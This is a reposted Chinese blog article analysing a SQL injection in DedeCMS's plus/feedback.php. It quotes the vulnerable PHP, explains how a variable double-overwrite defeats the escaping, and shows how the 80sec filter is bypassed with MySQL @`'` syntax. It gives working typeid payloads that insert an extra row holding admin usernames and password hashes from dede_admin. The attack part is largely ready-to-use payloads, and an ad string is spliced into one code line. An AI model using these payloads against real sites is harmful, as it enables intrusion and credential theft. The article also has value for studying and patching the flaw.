如何进行dedecms注入的分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。漏洞文件: plusfeedback.php。存在问题的代码:…if($comtype == ‘comments’){$arctitle = addslashes($title);if($msg!=”){//$typeid变量未做初始化$inquery = “INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’, ‘{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’); “;echo $inquery;//调试,输出查询语句$rs = $dsql->ExecuteNoneQuery($inquery);if(!$rs){ShowMsg(‘ 发表评论错误! ‘, ‘-1’);//echo $dsql->GetError();exit();}}}//引用回复elseif ($comtype == ‘reply’){$row = $dsql->GetOne(“SELECT * FROM `dede_feedback` WHERE id =’$fid'”);$arctitle = $row[‘arctitle’];$aid =$row[‘aid’];$msg = $quotemsg.$msg;$msg = HtmlReplace($msg, 2);$inquery = “INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)VALUES (‘$aid’,’$typeid’,’$username’,’$arctitle’,’$ip’,’$ischeck’,’$dtime’,'{$cfg_ml->M_ID}’,’0′,’0′,’$feedbacktype’,’$face’,’$msg’)”;$dsql->ExecuteNoneQuery($inquery);}完整的输入语句,第二个参数 typeid可控。INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES (‘108′,’2′,’游客’,’paxmac’,’127.0.0.1′,’1′,’1351774092′, ‘0’,’0′,’0′,’feedback’,’0′,’nsfocus&&paxmac team’);common.inc.php文件 会把所有的request进行处理。function _RunMagicQuotes(&$svar){if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);}else{if( strlen($svar)>0 && preg_match(‘#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#’,$svar) ){exit(‘Request var not allow!’);}$svar = addslashes($svar);}}return $svar;}…..foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request){foreach($$_request as $_k => $_v){if($_k == ‘nvarname’) ${$_k} = $_v;else ${$_k} = _RunMagicQuotes($_v);}}….从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中function _FilterAll($fk, &$svar){global $cfg_notallowstr,$cfg_replacestr;if( is_array($svar) ){foreach($svar as $_k => $_v){$svar[$_k] = _FilterAll($fk,$_v);}}else{if($cfg_notallowstr!=” && preg_match(“#”.$cfg_notallowstr.”#i”, $svar)){ShowMsg(” $fk has not allow words!”,’-1′);exit();}if($cfg_replacestr!=”){$svar = preg_replace(‘/’.$cfg_replacestr.’/i’, “***”, $svar);}}return $svar;}/* 对_GET,_POST,_COOKIE进行过滤 */foreach(A免费云主机域名rray(‘_GET’,’_POST’,’_COOKIE’) as $_request){foreach($$_request as $_k => $_v){${$_k} = _FilterAll($_k,$_v);}}上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。Eg: typeid=2’ 经过覆盖 typeid=2’研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于到之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:typeid=123′,@`’`,011111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111我用tamper data提交此参数,其实这里也利用了一个小bug可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。补充 :`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg` aid是文章的ID 所以直接用我的语句是不成功的,需要修改成自己的文章IDtypeid=123′,@`’`,011111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)),(评论文章ID,’1111如 Tamper提交,(文章id=123)msg改为 www.hack6.commcbang&typeid=0′,’3′,’4′,’5′,’0′,’1351739660′,%20’0′,’0′,’0′,’0′,’0′,’aaaaaa’),(‘123′,’2′,@`’`,’4′,’5′,’1′,’1351739660′,%20’0′,’0′,’0′,’0′,’0’,(SELECT concat(uname,0x5f,pwd,0x5f) from ‘@#__admin’)),(123,’2关于如何进行dedecms注入的分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注云编程开发博客行业资讯频道了解更多相关知识。
这篇文章将为大家详细讲解有关如何解决Ssl error的问题,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。Ssl error 其实就是ssl错误。相信大家平时的一个使用网络是见过不少的一个ssl错误的发生的。但是苦于不知道这…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。